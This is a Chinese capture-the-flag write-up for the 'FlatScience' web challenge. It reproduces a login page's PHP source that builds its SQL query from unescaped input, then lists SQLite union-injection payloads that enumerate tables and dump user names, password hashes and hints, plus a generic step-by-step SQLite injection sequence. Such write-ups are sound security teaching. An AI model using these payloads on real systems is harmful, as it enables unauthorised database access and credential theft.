攻防世界-WEB-FlatScience
题目名称:web题目类型:web
考点:sqlite数据库注入
解题思路
1、目录遍历
目录遍历发现有admin.php login.php
两个登录框都进行注入点测试发现login.php有sql注入漏洞,
查看网页源代码发现?debug
尝试访问,发现登录页面php源码
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>
<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>
<h1>Login</h1>
Login Page, do not try to hax here plox!<br>
<form method="post">
ID:<br>
<input type="text" name="usr">
<br>
Password:<br>
<input type="text" name="pw">
<br><br>
<input type="submit" value="Submit">
</form>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
<hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>
注入
usr=' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw= //查所有表
usr=' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw= //查表所有字段
//查所有内容
usr=' union select 1,group_concat(id) from Users--&pw=1
usr=' union select 1,group_concat(name) from Users--&pw=1
usr=' union select 1,group_concat(password) from Users--&pw=1
usr=' union select 1,group_concat(hint) from Users--&pw=
sqlite注入说明 小知识点: sqlite数据库1,什么是sqlite数据库:
SQLite的是一种嵌入式数据库,它的数据库就是一个文件。由于SQLite的本身是Ç写的,而且体积很小,所以经常被集成到各种应用程序中,主要在手机的应用中使用。
SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库一样,您不需要在系统中配置。
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。
2,sqlite和 mysql的不同:
熟悉MySQL数据库的人都知道,MySQL中有一个名为information_schema的系统库,里面包含了所有MYSQL数据库中库名,表名,列名的信息,那么SQLITE数据库有没有呢?
答案当然是没有的。对于SQLITE而言,并没有库的概念,而是直接对象就是表了,所以SQLITE没有系统库,但是它是存在系统表的,这个表名为sqlite_master简单来说,SQLITE功能简约,小型化,追求最大磁盘效率;MYSQL功能全面,综合化,追求最大并发效率。如果只是单机上用的,数据量不是很大,需要方便移植或者需要频繁读/写磁盘文件的话,就用SQLite比较合适;如果是要满足多用户同时访问,或者是网站访问量比较大是使用MYSQL比较合适。
3,sqlite 注入的示例payload:
按照正常的sql注入步骤列出每一步的payload
第一步: 跟mysql一样 先试 sql语句的闭合方式
?id=' //报错
?id=' --+ //不报错
第二步: 测字段数?id=' order by 3 --+ //不报错
?id=' order by 4 --+ //报错
第三步:可以查看一下sqlite的版本信息(没什么用),或者 直接查看数据库中的所有的表名?id=' union select 1,2,sqlite_version() --+
?id=' union select 1,2,group_concat(tbl_name) from sqlite_master where type='table' --+
第四步:通过查询创建表的sql语句,来得到表的结构?id=' union select 1,2,sql from sqlite_master where type='table' and tbl_name='users' --+
第五步:脱库?id=' union select 1,group_concat(username),group_concat(password) from users limit 0,1 --+